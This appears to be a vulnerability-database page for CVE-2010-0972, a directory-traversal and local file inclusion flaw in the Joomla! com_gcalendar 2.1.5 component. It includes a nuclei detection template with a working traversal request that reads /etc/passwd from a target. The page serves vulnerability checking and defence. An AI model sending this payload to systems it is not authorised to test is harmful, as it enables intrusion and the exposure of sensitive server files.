HexBrain

Browse / CVEs / CVE-2010-0972

CVE-2010-0972· g4j.laoneo / com gcalendar· CWE-22

Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion

highseverity
7.5CVSS score
13.5%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in the GCalendar (com_gcalendar) component 2.1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.

Fix

Apply all relevant security patches and product upgrades.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-0972 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2010-0972

info:
  name: Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the GCalendar (com_gcalendar) component 2.1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11738
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0972
    - http://www.exploit-db.com/exploits/11738
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/56863
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-0972
    cwe-id: CWE-22
    epss-score: 0.13504
    epss-percentile: 0.96476
    cpe: cpe:2.3:a:g4j.laoneo:com_gcalendar:2.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: g4j.laoneo
    product: com_gcalendar
  tags: cve2010,cve,edb,joomla,lfi,g4j.laoneo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from